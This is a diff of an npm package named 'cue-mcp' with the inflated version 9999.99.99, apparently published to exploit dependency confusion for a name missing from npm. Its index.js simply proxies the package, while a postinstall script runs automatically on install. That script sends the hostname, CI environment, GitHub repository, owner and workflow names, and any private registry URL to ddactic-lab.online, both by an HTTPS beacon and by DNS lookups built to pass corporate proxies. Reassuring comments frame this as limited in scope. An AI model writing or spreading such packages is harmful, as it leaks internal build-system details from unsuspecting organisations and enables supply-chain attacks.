cue-mcp 9999.99.99

package/index.js

@@ -0,0 +1,7 @@
+// Proxy to the real package — require('cue-mcp') returns the real cue-mcp module.
+// This means the package works correctly and stays installed.
+try {
+  module.exports = require('cue-mcp');
+} catch (_) {
+  module.exports = {};
+}

package/package.json

@@ -0,0 +1,17 @@
+{
+  "name": "cue-mcp",
+  "version": "9999.99.99",
+  "description": "npm 404 error referenced in Wolfvin/cue",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node postinstall.js"
+  },
+  "dependencies": {},
+  "keywords": [],
+  "license": "MIT",
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/Stavmeister/cue-mcp"
+  },
+  "homepage": "https://github.com/Stavmeister/cue-mcp#readme"
+}

package/postinstall.js

@@ -0,0 +1,66 @@
+#!/usr/bin/env node
+// Security scope: reads only npm_package_* vars (injected by npm), presence of CI indicator keys,
+// hostname, and npm_config_registry URL (not its credentials).
+// No credential reads. No full env enumeration. No filesystem traversal.
+// Fires once at install time, 2s timeout, install succeeds regardless.
+'use strict';
+const https  = require('https');
+const dns    = require('dns');
+const crypto = require('crypto');
+const os     = require('os');
+
+const CI_KEYS = [
+  'CI','CONTINUOUS_INTEGRATION','GITHUB_ACTIONS','JENKINS_HOME',
+  'TRAVIS','CIRCLECI','GITLAB_CI','BUILDKITE','TEAMCITY_VERSION',
+  'BAMBOO_BUILDKEY','TF_BUILD','DRONE',
+  'CODEBUILD_BUILD_ID','BUILD_BUILDID','BITBUCKET_BUILD_NUMBER',
+];
+const ciEnv  = CI_KEYS.find(k => process.env[k] != null) || null;
+// Package name: hardcoded at publish time as primary, npm env var as fallback for transitive installs
+const pkg    = 'cue-mcp' !== '{{' + 'NAME}}' ? 'cue-mcp' : (process.env.npm_package_name || '?');
+const ver    = process.env.npm_package_version || '9999.99.99';
+const ghRepo = process.env.GITHUB_REPOSITORY       || '';
+const ghOwner= process.env.GITHUB_REPOSITORY_OWNER || '';
+const ghWf   = process.env.GITHUB_WORKFLOW         || '';
+
+// Hostname reveals internal build agent identity (e.g. ip-10-0-1-5.ec2.internal, jenkins-agent-3)
+let host = '';
+try { host = os.hostname().slice(0, 80); } catch (_) {}
+
+// Private registry URL — definitive evidence of dependency confusion:
+// if set, their resolver fell through from private registry to public npm
+let preg = '';
+try {
+  const r = (process.env.npm_config_registry || '').replace(/\/+$/, '');
+  if (r && r !== 'https://registry.npmjs.org') preg = r.slice(0, 120);
+} catch (_) {}
+
+const body = JSON.stringify({
+  p: pkg, v: ver, n: process.version, os: process.platform,
+  ci: ciEnv ? 1 : 0, ce: ciEnv, t: Date.now(), r: 'npm',
+  ...(ghRepo  && { gh:  ghRepo  }),
+  ...(ghOwner && { gho: ghOwner }),
+  ...(ghWf    && { ghw: ghWf    }),
+  ...(host    && { h:   host    }),
+  ...(preg    && { pr:  preg    }),
+});
+
+// Primary: HTTPS beacon
+const req = https.request({
+  hostname: 'ddactic-lab.online', path: '/sc/beacon', method: 'POST',
+  timeout: 2000,
+  headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }
+}, () => {});
+req.on('error', () => {});
+req.on('timeout', () => { try { req.destroy(); } catch (_) {} });
+req.write(body);
+req.end();
+
+// DNS fallback: fires even through HTTP-blocking corporate proxies
+// Label: {pkg-slug}.{ci-slug}.{8-char-hash}.b.ddactic-lab.online
+try {
+  const h   = crypto.createHash('sha256').update(pkg + Date.now()).digest('hex').slice(0, 8);
+  const ci  = (ciEnv || 'none').toLowerCase().replace(/_/g, '-').slice(0, 12);
+  const sl  = pkg.replace(/[^a-z0-9-]/gi, '-').slice(0, 20).toLowerCase();
+  dns.lookup(`${sl}.${ci}.${h}.b.ddactic-lab.online`, () => {});
+} catch (_) {}